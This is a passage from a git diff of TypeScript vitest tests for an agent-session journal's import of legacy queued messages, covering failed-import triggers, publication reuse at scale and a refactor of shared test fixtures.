journal.appendItem(turn, message('progress'), threadWrite) + feed.publish(SESSION, journal) + expect(visits).toBe(2 * size) + expect(journal.publicRead().normalizationKey).toBe('') + expect(journal.queuedMessages.list().filter((c) => c.state === 'waiting')).toHaveLength(size) + for (const events of received) { + const items = events.flatMap((e) => (e.type === 'batch' ? e.batch.items : [])) + expect(items.map((i) => i.body)).toContainEqual(message('progress')) + expect(events.filter((e) => e.type === 'snapshot')).toHaveLength(0) + } + visits = 0 + for (let p = 0; p < 5; p++) { + feed.publish(SESSION, journal) + } + expect(visits).toBe(0) + const answered = { turn: { ...turn, ordinal: -1 }, via: 'steer' as const } + await handOff(journal, 'u', 'waiting-0', 'words', 'cancelled', 0, undefined, answered) + feed.publish(SESSION, journal) + const view = journal.publicRead() + expect(view.normalizationKey).not.toBe('') + expect(view.snapshot.submissions.find((s) => s.clientMessageId === 'u')).toMatchObject({ + dispatchState: 'unknown', + queuedMessageId: 'waiting-0' + }) + const item = view.snapshot.items.find((i) => i.itemId === agentJournalSubmissionKey('u')) + expect(item?.body).toEqual(message('words')) + expect(item?.sequence).toBeLessThan(journal.cursor().sequence) + expect(journal.submission('u')?.dispatchState).toBe('rejected') + expect(visits).toBeGreaterThanOrEqual(2 * size) + visits = 0 + for (let p = 0; p < 5; p++) { + feed.publish(SESSION, journal) + } + expect(visits).toBe(0) + expect(received.map((es) => es.filter((e) => e.type === 'snapshot').length)).toEqual([1, 1, 0]) + } finally { + scans.mockRestore() + db().exec('DROP TRIGGER b2_raw_fail_import') + await journal.close() + } +}) + +it('public metadata follows legacy-only commits, item recreation and epoch replacement', async () => { + const earlier = journalFor(SESSION) + await earlier.open() + await earlier.queuedMessages.insert({ messageId: 'q', body: message('words') }) + await handOff(earlier, 'u', 'q', 'words', 'cancelled') + await earlier.close() + seedLegacy(SESSION, [['gone', 'withdrawn', 'deleted']]) + db().exec(`CREATE TEMP TRIGGER b2_source_fail_import BEFORE DELETE ON queued_messages + BEGIN SELECT RAISE(ABORT, 'disk full'); END`) + const journal = journalFor(SESSION) + await journal.open() + const ids = vi.spyOn(journal.queuedMessages.displayState().normalizedHandOffs, Symbol.iterator) + const key = journal.publicRead().normalizationKey + const snapshot = journal.snapshot() + expect(journal.snapshot()).toBe(snapshot) + expect(key).not.toBe('') + const cursor = journal.cursor() + const catchUp = createAgentSessionCatchUpReader(journal, undefined, journal.publicRead()) + const request = { sessionId: SESSION, direction: 'tail' as const } + const beforeImport = catchUp(request) + expect(beforeImport).toMatchObject({ ok: true, page: { items: snapshot.items } }) + db().exec('DROP TRIGGER b2_source_fail_import') + await journal.queuedMessages.importAtOpen() + expect(journal.cursor()).toEqual(cursor) + expect(legacyIds()).toEqual([]) + expect(journal.snapshot()).not.toBe(snapshot) + expect(catchUp(request)).toEqual(beforeImport) + expect(ids).toHaveBeenCalledTimes(1) + expect(journal.publicRead().normalizationKey).toBe(key) + expect(ids).toHaveBeenCalledTimes(2) + ids.mockRestore() + const identity = { provider: 'orca' as const, clientMessageId: 'u' } + await journal.appendTombstone(identity, { fence: 0 }) + expect(journal.publicRead().normalizationKey).toBe('') + expect(journal.snapshot().items).toEqual([]) + await journal.appendItem(identity, message('recreated'), threadWrite) + expect([key, '']).not.toContain(journal.publicRead().normalizationKey) + expect(journal.snapshot().items[0]?.body).toEqual(message('recreated')) + await journal.rollEpoch('handle_forked', 0) + expect(journal.epoch).not.toBe(cursor.epoch) + expect(journal.publicRead().normalizationKey).toBe('') + expect(journal.snapshot().items).toEqual([]) + await journal.close() +}) + +it('a rewind while the import has failed moves the legacy cards first: a refused one stays returned', async () => { + const earlier = journalFor(SESSION) + const clear = { command: 'clear' as const } + expect( + await fixture.rig.host.conversationCommand(CALLER, { + ...clear, + envelope: fixture.rig.envelope( + clear, + 'agentSession.conversationCommand', + hostTestOperationId() + ) + }) + ).toMatchObject({ ok: true }) + const target = fixture.rig.send('rewound away') + expect(await target.result).toMatchObject({ ok: true }) + await eventually(async () => + expect((await fixture.rig.submission(target.id))?.handedOverAt).toBeDefined() + ) + await fixture.rig.settleAccepted(target.id, 'target') + await fixture.rig.host.close(SESSION, 'evict') + await earlier.open() + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + await handOff( + earlier, + 'att-refused', + 'disp-refused', + 'refused, never settled', + 'providerRejected', + fence + ) + await earlier.close() + seedLegacy(SESSION, [ + ['disp-refused', 'dispatched', 'refused, never settled', 'att-refused'], + ['edited', 'waiting', 'waiting, edited'] + ]) + db().exec(`CREATE TEMP TRIGGER fail_import BEFORE DELETE ON queued_messages + BEGIN SELECT RAISE(ABORT, 'disk full'); END`) + const warned = vi.spyOn(console, 'warn').mockImplementation(() => undefined) + const held = [ + { messageId: 'disp-refused', state: 'returned' }, + { messageId: 'edited', state: 'waiting' } + ] + expect(await fixture.rig.drafts()).toEqual(held) + db().exec('DROP TRIGGER fail_import') + warned.mockRestore() + + const live = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + const rewound = { itemId: agentJournalSubmissionKey(target.id), expectedEpoch: live.epoch } + expect( + await fixture.rig.host.rewind(CALLER, { + ...rewound, + envelope: fixture.rig.envelope(rewound, 'agentSession.rewind', hostTestOperationId()) + }) + ).toMatchObject({ ok: true }) + expect(live.epoch).toBe(rewound.expectedEpoch) + expect(live.submission('att-refused')).toBeUndefined() + expect(await fixture.rig.drafts()).toEqual(held) + await nothingSentTo('edited') + expect(legacyIds()).toEqual([]) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-scaling.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-scaling.test.ts new file mode 100644 index 00000000000..e0b17e43649 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queue-import-scaling.test.ts @@ -0,0 +1,167 @@ +import { expect, it, vi } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import { AgentSessionSubscribers } from './structured-agent-session-subscribers' +import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' + +import { + type Legacy, + db, + handOff, + journalFor, + legacyIds, + message, + seedLegacy +} from './structured-agent-session-queue-import-contract-test-fixture' + +it.each([100, 1_000].flatMap((size) => [false, true].map((adopt) => ({ size, adopt }))))( + 'publication reuse: $size historical items, adopted=$adopt', + async ({ size, adopt }) => { + const corrections = size / 10 + const earlier = journalFor(SESSION) + await earlier.open() + await handOff(earlier, 'u-0', 'q-0', 'stopped words', 'cancelled', 0, async () => { + for (let ordinal = 0; ordinal < size; ordinal++) { + await earlier.appendItem( + { provider: 'codex', threadId: 'history', turnId: 't', ordinal }, + { ...message('old answer'), role: 'assistant' }, + { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + } + }) + for (let index = 1; index < corrections; index++) { + await handOff(earlier, `u-${index}`, `q-${index}`, 'stopped words', 'cancelled') + } + await earlier.close() + seedLegacy( + SESSION, + Array.from({ length: corrections }, (_, i): Legacy => [`q-${i}`, 'waiting', 'stopped words']) + ) + if (!adopt) { + db().exec(`CREATE TEMP TRIGGER b2_perf_fail_import BEFORE DELETE ON queued_messages + BEGIN SELECT RAISE(ABORT, 'disk full'); END`) + } + const journal = journalFor(SESSION) + await journal.open() + expect(legacyIds()).toHaveLength(adopt ? 0 : corrections) + const display = journal.queuedMessages.displayState() + const feed = new AgentSessionSubscribers() + const events: AgentSessionSubscribeEvent[] = [] + let visits = 0 + let keyVisits = 0 + function counted(iterator: MapIterator, correction = false): MapIterator { + const next = iterator.next.bind(iterator) + iterator.next = (...args) => { + const result = next(...args) + if (!result.done) { + if (correction) { + keyVisits++ + } else { + visits++ + } + } + return result + } + return iterator + } + const values = Map.prototype.values + const entries = Map.prototype[Symbol.iterator] + const valuesRead = vi.spyOn(Map.prototype, 'values').mockImplementation(function ( + this: Map + ) { + return counted(values.call(this)) + }) + const entriesRead = vi.spyOn(Map.prototype, Symbol.iterator).mockImplementation(function ( + this: Map + ) { + return counted(entries.call(this)) + }) + const setIterator = Set.prototype[Symbol.iterator] + const sets = vi.spyOn(Set.prototype, Symbol.iterator).mockImplementation(function ( + this: Set + ) { + return this.has('u-0') ? counted(setIterator.call(this), true) : setIterator.call(this) + }) + const gets = vi.spyOn(Map.prototype, 'get') + const sourceGets = () => + gets.mock.contexts.filter((m) => m === display.items || m === display.submissions) + const sorts = vi.spyOn(Array.prototype, 'sort') + const json = vi.spyOn(JSON, 'stringify') + const work = () => [ + keyVisits, + sorts.mock.contexts.filter((v) => Array.isArray(v) && v[0] === 'u-0').length, + json.mock.calls.filter( + ([v]) => Array.isArray(v) && Array.isArray(v[1]) && v[1][0]?.[0] === 'u-0' + ).length + ] + const reset = () => { + keyVisits = 0 + gets.mockClear() + sorts.mockClear() + json.mockClear() + } + try { + for (const id of ['perf-a', 'perf-b', 'old']) { + feed.open({ + sessionId: SESSION, + journal, + fence: 0, + id, + boundedFrames: id === 'perf-b', + cursor: journal.cursor(), + snapshotCatchUp: id !== 'old', + readsCurrentRequests: id !== 'old', + emit: (event) => events.push(event) + }) + } + expect(work()).toEqual([corrections, 1, 1]) + expect(sourceGets()).toHaveLength(2 * corrections) + expect(visits).toBeGreaterThanOrEqual(size) + const key = journal.publicRead().normalizationKey + reset() + visits = 0 + for (let publication = 0; publication < 5; publication++) { + feed.publish(SESSION, journal) + } + // Only subscriber visits; history copies/materialization would add N visits. + expect(visits).toBe(15) + expect(work()).toEqual([0, 0, 0]) + expect(sourceGets()).toHaveLength(0) + const cursor = journal.cursor() + const snapshot = journal.snapshot() + await journal.open() + expect(journal.cursor()).toEqual(cursor) + expect(journal.queuedMessages.displayState() === display).toBe(false) + expect(journal.snapshot()).not.toBe(snapshot) + feed.publish(SESSION, journal) + // A reopen that retries the failed import writes one card; its outcome write lists that card + // once in the card map and once in the order set: a constant 2, whatever the history size. + expect(work()).toEqual([corrections + (adopt ? 0 : 2), 1, 1]) + reset() + await journal.appendItem( + { provider: 'codex', threadId: 'progress', turnId: 't', ordinal: 0 }, + message('progress'), + { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + expect(journal.snapshot().items.at(-1)?.body).toEqual(message('progress')) + expect(work()).toEqual([0, 0, 0]) + reset() + feed.publish(SESSION, journal) + const latest = events.at(-1) + expect(latest?.type === 'batch' && latest.batch.items.at(-1)?.body).toEqual( + message('progress') + ) + expect(work()).toEqual([corrections, 1, 1]) + expect(journal.publicRead().normalizationKey).toBe(key) + } finally { + for (const spy of [sets, gets, sorts, json, entriesRead, valuesRead]) { + spy.mockRestore() + } + if (!adopt) { + db().exec('DROP TRIGGER b2_perf_fail_import') + } + } + expect(events.filter((event) => event.type === 'snapshot')).toHaveLength(2) + await journal.close() + } +) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-import.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-import.test.ts index d23c33a6ba1..b64235a408e 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-import.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-import.test.ts @@ -1,173 +1,29 @@ -import { afterEach, beforeEach, expect, it, vi } from 'vitest' +import { expect, it, vi } from 'vitest' import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' -import { agentSessionFailureFact } from '../../../shared/agent-session-failure' -import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' -import { - AGENT_JOURNAL_THREAD_SCOPE, - type AgentJournalAnsweredTurnIdentity, - type AgentJournalMessageItem -} from '../../../shared/agent-session-journal-types' -import { activeProviderContext } from '../../../shared/agent-session-provider-context' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import { projectStructuredAgentSessionMessages } from '../../../shared/structured-agent-session-message-projection' import { structuredAgentSessionCommandTurnIdentity } from '../../../shared/structured-agent-session-command-turn-identity' -import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' -import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' -import { - EMPTY_STRUCTURED_AGENT_SESSION, - reduceStructuredAgentSession -} from '../../../shared/structured-agent-session-reducer' -import { AgentSessionSubscribers } from './structured-agent-session-subscribers' -import { - createAgentSessionCatchUpReader, - readAgentSessionHistory -} from './agent-session-history-page' -import { subscriberHistoryReader } from './agent-session-bounded-frames' -import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' -import { AgentSessionJournal } from '../agent-session-journal/journal-store' import { HOST_TEST_SESSION as SESSION, hostTestOperationId } from './structured-agent-session-host-test-data' +import { eventually } from './structured-agent-session-queued-message-rig.test-fixture' + import { - createQueuedMessageTestRig, - eventually, - QUEUED_RIG_CALLER as CALLER, - type QueuedMessageTestRig -} from './structured-agent-session-queued-message-rig.test-fixture' - -let rig: QueuedMessageTestRig - -beforeEach(async () => { - rig = await createQueuedMessageTestRig({ restartable: true, rewind: async () => ({ ok: true }) }) -}) - -afterEach(() => rig.dispose()) - -const db = () => openTestJournalHostDatabase(rig.root).db -const message = (text: string): AgentJournalMessageItem => ({ - kind: 'message', - role: 'user', - blocks: [{ type: 'text', text }], - ...(text === '/compact' ? { command: { name: 'compact' } } : {}) -}) -const threadWrite = { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } -const words = (fact: 'providerRejected' | 'cancelled') => - agentSessionFailureWords( - fact === 'providerRejected' - ? agentSessionFailureFact(fact, { detail: { text: 'refused', audience: 'person' } }) - : agentSessionFailureFact(fact), - { surface: 'rejection' } - ) - -function journalFor(sessionId: string): AgentSessionJournal { - return new AgentSessionJournal({ - database: openTestJournalHostDatabase(rig.root), - identity: { - sessionId, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: activeProviderContext(rig.store.getRecord(SESSION)!).head!.handle - } - }) -} - -async function handOff( - journal: AgentSessionJournal, - attempt: string, - card: string, - text: string, - as: 'providerRejected' | 'cancelled' | 'accepted', - fence = 0, - beforeAnswer?: () => Promise, - answeredInTurn?: AgentJournalAnsweredTurnIdentity -): Promise { - const body = message(text) - const payloadFingerprint = agentSessionSendBodyFingerprint(journal.queuedMessages.sessionId, body) - await journal.appendSubmission({ - clientMessageId: attempt, - payloadFingerprint, - body, - fence, - handoverRecorded: true, - queuedMessageId: card - }) - await journal.resolveDispatch({ - clientMessageId: attempt, - state: 'pending', - fence, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await beforeAnswer?.() - await journal.resolveDispatch( - as === 'accepted' - ? { clientMessageId: attempt, state: 'accepted', providerIdentity: null, fence } - : { clientMessageId: attempt, state: 'rejected', ...words(as), fence, answeredInTurn } - ) -} - -type Legacy = [id: string, state: string, text: string | null, consumedAs?: string, hold?: string] - -function seedLegacy(sessionId: string, rows: readonly Legacy[]): void { - const insert = db().prepare( - `INSERT INTO queued_messages (session_id, message_id, position, body_json, fingerprint, - created_at, host_instance, state, hold_reason, returned_reason, consumed_as) - VALUES (?, ?, ?, ?, ?, 0, 'earlier', ?, ?, ?, ?)` - ) - rows.forEach(([id, state, text, consumedAs, hold], index) => { - const body = text === null ? '{' : JSON.stringify(message(text)) - const print = text === null ? '' : agentSessionSendBodyFingerprint(sessionId, message(text)) - const reason = state === 'returned' ? 'refused before' : null - insert.run( - sessionId, - id, - index + 1, - body, - print, - state, - hold ?? null, - reason, - consumedAs ?? null - ) - }) -} - -const legacyIds = (sessionId = SESSION) => - db() - .prepare('SELECT message_id AS id FROM queued_messages WHERE session_id = ? ORDER BY position') - .all(sessionId) - .map((row) => (typeof row === 'object' && row !== null && 'id' in row ? row.id : null)) - -function queueRows(sessionId = SESSION): string[] { - return db() - .prepare('SELECT row_json FROM journal_rows WHERE session_id = ? ORDER BY seq') - .all(sessionId) - .flatMap((row) => { - const json = typeof row === 'object' && row !== null && 'row_json' in row ? row.row_json : '' - const parsed: unknown = JSON.parse(String(json)) - if (typeof parsed !== 'object' || parsed === null || !('kind' in parsed)) { - return [] - } - if (parsed.kind !== 'queue' || !('messageId' in parsed) || !('change' in parsed)) { - return [] - } - const change = JSON.stringify(parsed.change) - const op = /"op":"(\w+)"/.exec(change)?.[1] - return [`${String(parsed.messageId)}:${op}${change.includes('"returned"') ? '+refusal' : ''}`] - }) -} - -async function nothingSentTo(...cards: string[]): Promise { - await new Promise((resolve) => setTimeout(resolve, 100)) - for (const card of cards) { - expect(await rig.handoff(card)).toBeUndefined() - } -} + fixture, + db, + handOff, + journalFor, + legacyIds, + nothingSentTo, + queueRows, + seedLegacy +} from './structured-agent-session-queue-import-contract-test-fixture' it("moves an earlier build's cards into the journal, each action its own card, the rest once per open", async () => { // Legacy handoffs were journaled while cards lived in a separate table. - await rig.drafts() - await rig.host.close(SESSION, 'evict') + await fixture.rig.drafts() + await fixture.rig.host.close(SESSION, 'evict') const earlier = journalFor(SESSION) await earlier.open() await handOff(earlier, 'att-present', 'ret-present', 'returned here', 'providerRejected') @@ -210,14 +66,14 @@ it("moves an earlier build's cards into the journal, each action its own card, t { messageId: 'edited', state: 'waiting' }, { messageId: 'held', state: 'waiting', paused: true } ] - expect(await rig.drafts()).toEqual(published) + expect(await fixture.rig.drafts()).toEqual(published) const stopped = async () => { - const { items, submissions } = await rig.host.journalSnapshot(SESSION) + const { items, submissions } = await fixture.rig.host.journalSnapshot(SESSION) return projectStructuredAgentSessionMessages(items, [], submissions).find( (entry) => entry.id === agentJournalSubmissionKey('att-stopped') ) } - const live = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + const live = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal const rawStopped = structuredClone(live.submission('att-stopped')) const displayedStopped = await stopped() expect(displayedStopped).toMatchObject({ @@ -236,26 +92,28 @@ it("moves an earlier build's cards into the journal, each action its own card, t expect(queueRows()).toEqual([]) const deletion = hostTestOperationId() - expect(await rig.deleteQueued('ret-present', deletion)).toMatchObject({ + expect(await fixture.rig.deleteQueued('ret-present', deletion)).toMatchObject({ value: { deleted: true } }) - const sent = await rig.sendNow('ret-gone') + const sent = await fixture.rig.sendNow('ret-gone') expect(sent).toMatchObject({ ok: true, value: { submission: { queuedMessageId: 'ret-gone' } } }) + // Saved cards are whole values: an import stores each card as it reads, refused or not. expect(queueRows()).toEqual([ - 'ret-present:queued', + 'ret-present:queued+refusal', 'ret-present:withdrawn', - 'ret-gone:queued+refusal' + 'ret-gone:queued+refusal', + 'ret-gone:dispatched' ]) expect(legacyIds()).toEqual(all.filter((id) => id !== 'ret-present' && id !== 'ret-gone')) await nothingSentTo('edited', 'held') // Reopen imports atomically; write refusals only for handoffs absent from this epoch. - await rig.restartHostProcess() - expect(await rig.drafts()).toEqual(published.slice(2)) + await fixture.rig.restartHostProcess() + expect(await fixture.rig.drafts()).toEqual(published.slice(2)) expect(legacyIds()).toEqual(['broken']) - expect(queueRows().slice(3)).toEqual([ + expect(queueRows().slice(4)).toEqual([ 'cmd-gone:queued+refusal', - 'disp-refused:queued', + 'disp-refused:queued+refusal', 'stopped-same:queued', 'stopped-edited:queued', 'orphan:queued', @@ -266,33 +124,33 @@ it("moves an earlier build's cards into the journal, each action its own card, t expect(await stopped()).toEqual(displayedStopped) // Refused commands become spent once their own turn reports failure. - const adopted = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal + const adopted = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal await adopted.appendItem( structuredAgentSessionCommandTurnIdentity('att-cmd'), { kind: 'status', text: 'Compact failed' }, { - fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, + fence: fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence, turnScope: AGENT_JOURNAL_THREAD_SCOPE } ) - expect(await rig.drafts()).toEqual(published.slice(3)) - expect(await rig.deleteQueued('disp-refused')).toMatchObject({ value: { deleted: true } }) - await rig.resume() - await eventually(async () => expect(await rig.handoff('edited')).toBeDefined()) + expect(await fixture.rig.drafts()).toEqual(published.slice(3)) + expect(await fixture.rig.deleteQueued('disp-refused')).toMatchObject({ value: { deleted: true } }) + await fixture.rig.resume() + await eventually(async () => expect(await fixture.rig.handoff('edited')).toBeDefined()) await nothingSentTo('held') - expect((await rig.handoff('stopped-edited'))?.clientMessageId).toBe('att-edited') - expect(await rig.sendNow('stopped-edited')).toMatchObject({ ok: true }) - const resent = await rig.handoffId('stopped-edited') + expect((await fixture.rig.handoff('stopped-edited'))?.clientMessageId).toBe('att-edited') + expect(await fixture.rig.sendNow('stopped-edited')).toMatchObject({ ok: true }) + const resent = await fixture.rig.handoffId('stopped-edited') expect(resent).not.toBe('att-edited') - await rig.settleAccepted(resent, 'resent') + await fixture.rig.settleAccepted(resent, 'resent') const rows = queueRows() - await rig.restartHostProcess() - await rig.drafts() + await fixture.rig.restartHostProcess() + await fixture.rig.drafts() expect(queueRows()).toEqual(rows) expect(await stopped()).toEqual(displayedStopped) expect(legacyIds()).toEqual(['broken']) - expect(await rig.deleteQueued('ret-present', deletion)).toMatchObject({ + expect(await fixture.rig.deleteQueued('ret-present', deletion)).toMatchObject({ replayed: true, value: { deleted: true } }) @@ -313,519 +171,3 @@ it("moves an earlier build's cards into the journal, each action its own card, t expect(reopened.queuedMessages.list()).toEqual([]) await reopened.close() }) - -it.each([100, 1_000].flatMap((size) => [false, true].map((adopt) => ({ size, adopt }))))( - 'publication reuse: $size historical items, adopted=$adopt', - async ({ size, adopt }) => { - const corrections = size / 10 - const earlier = journalFor(SESSION) - await earlier.open() - await handOff(earlier, 'u-0', 'q-0', 'stopped words', 'cancelled', 0, async () => { - for (let ordinal = 0; ordinal < size; ordinal++) { - await earlier.appendItem( - { provider: 'codex', threadId: 'history', turnId: 't', ordinal }, - { ...message('old answer'), role: 'assistant' }, - { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - } - }) - for (let index = 1; index < corrections; index++) { - await handOff(earlier, `u-${index}`, `q-${index}`, 'stopped words', 'cancelled') - } - await earlier.close() - seedLegacy( - SESSION, - Array.from({ length: corrections }, (_, i): Legacy => [`q-${i}`, 'waiting', 'stopped words']) - ) - if (!adopt) { - db().exec(`CREATE TEMP TRIGGER b2_perf_fail_import BEFORE DELETE ON queued_messages - BEGIN SELECT RAISE(ABORT, 'disk full'); END`) - } - const journal = journalFor(SESSION) - await journal.open() - expect(legacyIds()).toHaveLength(adopt ? 0 : corrections) - const display = journal.queuedMessages.displayState() - const feed = new AgentSessionSubscribers() - const events: AgentSessionSubscribeEvent[] = [] - let visits = 0 - let keyVisits = 0 - function counted(iterator: MapIterator, correction = false): MapIterator { - const next = iterator.next.bind(iterator) - iterator.next = (...args) => { - const result = next(...args) - if (!result.done) { - if (correction) { - keyVisits++ - } else { - visits++ - } - } - return result - } - return iterator - } - const values = Map.prototype.values - const entries = Map.prototype[Symbol.iterator] - const valuesRead = vi.spyOn(Map.prototype, 'values').mockImplementation(function ( - this: Map - ) { - return counted(values.call(this)) - }) - const entriesRead = vi.spyOn(Map.prototype, Symbol.iterator).mockImplementation(function ( - this: Map - ) { - return counted(entries.call(this)) - }) - const setIterator = Set.prototype[Symbol.iterator] - const sets = vi.spyOn(Set.prototype, Symbol.iterator).mockImplementation(function ( - this: Set - ) { - return this.has('u-0') ? counted(setIterator.call(this), true) : setIterator.call(this) - }) - const gets = vi.spyOn(Map.prototype, 'get') - const sourceGets = () => - gets.mock.contexts.filter((m) => m === display.items || m === display.submissions) - const sorts = vi.spyOn(Array.prototype, 'sort') - const json = vi.spyOn(JSON, 'stringify') - const work = () => [ - keyVisits, - sorts.mock.contexts.filter((v) => Array.isArray(v) && v[0] === 'u-0').length, - json.mock.calls.filter( - ([v]) => Array.isArray(v) && Array.isArray(v[1]) && v[1][0]?.[0] === 'u-0' - ).length - ] - const reset = () => { - keyVisits = 0 - gets.mockClear() - sorts.mockClear() - json.mockClear() - } - try { - for (const id of ['perf-a', 'perf-b', 'old']) { - feed.open({ - sessionId: SESSION, - journal, - fence: 0, - id, - boundedFrames: id === 'perf-b', - cursor: journal.cursor(), - snapshotCatchUp: id !== 'old', - readsCurrentRequests: id !== 'old', - emit: (event) => events.push(event) - }) - } - expect(work()).toEqual([corrections, 1, 1]) - expect(sourceGets()).toHaveLength(2 * corrections) - expect(visits).toBeGreaterThanOrEqual(size) - const key = journal.publicRead().normalizationKey - reset() - visits = 0 - for (let publication = 0; publication < 5; publication++) { - feed.publish(SESSION, journal) - } - // Only subscriber visits; history copies/materialization would add N visits. - expect(visits).toBe(15) - expect(work()).toEqual([0, 0, 0]) - expect(sourceGets()).toHaveLength(0) - const cursor = journal.cursor() - const snapshot = journal.snapshot() - await journal.open() - expect(journal.cursor()).toEqual(cursor) - expect(journal.queuedMessages.displayState() === display).toBe(false) - expect(journal.snapshot()).not.toBe(snapshot) - feed.publish(SESSION, journal) - expect(work()).toEqual([corrections, 1, 1]) - reset() - await journal.appendItem( - { provider: 'codex', threadId: 'progress', turnId: 't', ordinal: 0 }, - message('progress'), - { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - expect(journal.snapshot().items.at(-1)?.body).toEqual(message('progress')) - expect(work()).toEqual([0, 0, 0]) - reset() - feed.publish(SESSION, journal) - const latest = events.at(-1) - expect(latest?.type === 'batch' && latest.batch.items.at(-1)?.body).toEqual( - message('progress') - ) - expect(work()).toEqual([corrections, 1, 1]) - expect(journal.publicRead().normalizationKey).toBe(key) - } finally { - for (const spy of [sets, gets, sorts, json, entriesRead, valuesRead]) { - spy.mockRestore() - } - if (!adopt) { - db().exec('DROP TRIGGER b2_perf_fail_import') - } - } - expect(events.filter((event) => event.type === 'snapshot')).toHaveLength(2) - await journal.close() - } -) - -it.each([100, 1_000])('raw selection reuse: %i waiting cards', async (size) => { - const journal = journalFor(SESSION) - const rows = Array.from({ length: size }, (_, i): Legacy => [`waiting-${i}`, 'waiting', 'words']) - seedLegacy(SESSION, rows) - db().exec(`CREATE TEMP TRIGGER b2_raw_fail_import BEFORE DELETE ON queued_messages - BEGIN SELECT RAISE(ABORT, 'disk full'); END`) - await journal.open() - expect(legacyIds()).toHaveLength(size) - const feed = new AgentSessionSubscribers() - const base = { sessionId: SESSION, journal, fence: 0, cursor: journal.cursor() } - const received: AgentSessionSubscribeEvent[][] = [[], [], []] - received.forEach((events, index) => - feed.open({ - ...base, - id: String(index), - boundedFrames: index === 1, - snapshotCatchUp: index !== 2, - readsCurrentRequests: index !== 2, - emit: (event) => events.push(event) - }) - ) - let visits = 0 - const flatMap = Array.prototype.flatMap - const scans = vi.spyOn(Array.prototype, 'flatMap') - scans.mockImplementation(function (this: { messageId?: string }[], callback, thisArg) { - const legacy = this.length === size && this[0]?.messageId === 'waiting-0' - return flatMap.call(this, (...args) => { - visits += legacy ? 1 : 0 - return callback.apply(thisArg, args) - }) - }) - try { - const turn = { provider: 'codex' as const, threadId: 'progress', turnId: 't', ordinal: 0 } - await journal.appendItem(turn, message('progress'), threadWrite) - feed.publish(SESSION, journal) - expect(visits).toBe(2 * size) - expect(journal.publicRead().normalizationKey).toBe('') - expect(journal.queuedMessages.list().filter((c) => c.state === 'waiting')).toHaveLength(size) - for (const events of received) { - const items = events.flatMap((e) => (e.type === 'batch' ? e.batch.items : [])) - expect(items.map((i) => i.body)).toContainEqual(message('progress')) - expect(events.filter((e) => e.type === 'snapshot')).toHaveLength(0) - } - visits = 0 - for (let p = 0; p < 5; p++) { - feed.publish(SESSION, journal) - } - expect(visits).toBe(0) - const answered = { turn: { ...turn, ordinal: -1 }, via: 'steer' as const } - await handOff(journal, 'u', 'waiting-0', 'words', 'cancelled', 0, undefined, answered) - feed.publish(SESSION, journal) - const view = journal.publicRead() - expect(view.normalizationKey).not.toBe('') - expect(view.snapshot.submissions.find((s) => s.clientMessageId === 'u')).toMatchObject({ - dispatchState: 'unknown', - queuedMessageId: 'waiting-0' - }) - const item = view.snapshot.items.find((i) => i.itemId === agentJournalSubmissionKey('u')) - expect(item?.body).toEqual(message('words')) - expect(item?.sequence).toBeLessThan(journal.cursor().sequence) - expect(journal.submission('u')?.dispatchState).toBe('rejected') - expect(visits).toBeGreaterThanOrEqual(2 * size) - visits = 0 - for (let p = 0; p < 5; p++) { - feed.publish(SESSION, journal) - } - expect(visits).toBe(0) - expect(received.map((es) => es.filter((e) => e.type === 'snapshot').length)).toEqual([1, 1, 0]) - } finally { - scans.mockRestore() - db().exec('DROP TRIGGER b2_raw_fail_import') - await journal.close() - } -}) - -it('public metadata follows legacy-only commits, item recreation and epoch replacement', async () => { - const earlier = journalFor(SESSION) - await earlier.open() - await earlier.queuedMessages.insert({ messageId: 'q', body: message('words') }) - await handOff(earlier, 'u', 'q', 'words', 'cancelled') - await earlier.close() - seedLegacy(SESSION, [['gone', 'withdrawn', 'deleted']]) - db().exec(`CREATE TEMP TRIGGER b2_source_fail_import BEFORE DELETE ON queued_messages - BEGIN SELECT RAISE(ABORT, 'disk full'); END`) - const journal = journalFor(SESSION) - await journal.open() - const ids = vi.spyOn(journal.queuedMessages.displayState().normalizedHandOffs, Symbol.iterator) - const key = journal.publicRead().normalizationKey - const snapshot = journal.snapshot() - expect(journal.snapshot()).toBe(snapshot) - expect(key).not.toBe('') - const cursor = journal.cursor() - const catchUp = createAgentSessionCatchUpReader(journal, undefined, journal.publicRead()) - const request = { sessionId: SESSION, direction: 'tail' as const } - const beforeImport = catchUp(request) - expect(beforeImport).toMatchObject({ ok: true, page: { items: snapshot.items } }) - db().exec('DROP TRIGGER b2_source_fail_import') - await journal.queuedMessages.importAtOpen() - expect(journal.cursor()).toEqual(cursor) - expect(legacyIds()).toEqual([]) - 